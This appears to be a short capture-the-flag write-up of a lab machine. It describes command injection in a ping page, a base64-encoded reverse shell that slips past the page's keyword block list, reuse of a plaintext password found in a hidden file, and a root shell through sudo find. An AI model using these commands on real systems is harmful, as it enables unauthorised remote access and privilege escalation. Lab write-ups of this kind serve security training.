Exploitation
Looking at superadmin.php, it seems like a ping command and thus may be vulnerable to command injection. Using ; didn’t work, neither did &&. | did work and using it to print the code of the file like 127.0.0.1 | cat superadmin.php shows that ";","&&","/","bin","&"," &&","ls","nc","dir","pwd" are all blocked.
Therefore, escaping the blocks by using
1
127.0.0.1 | `echo bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDkuMjI1IDMwMDIK | base64 -d`
This gives a shell as the www-data user and thus the user flag.
Privilege Escalation
User
Looking at the /etc/passwd file, the users of importance are root, haclabs and yash. Used find / -type f -user yash 2>/dev/null to list files owned by yash and this prints a file /usr/share/hidden/.passwd. Looking at the permissions, it is world readable.
The contents of the file is a password haclabs1234. This works for the credentials haclabs:haclabs1234. This grants a shell as haclabs user. Looking at sudo -l, this user can run /usr/bin/find as root without any password. Thus, using the command sudo find . -exec /bin/bash \; -quit, a root shell can be gained. This gives the root flag.
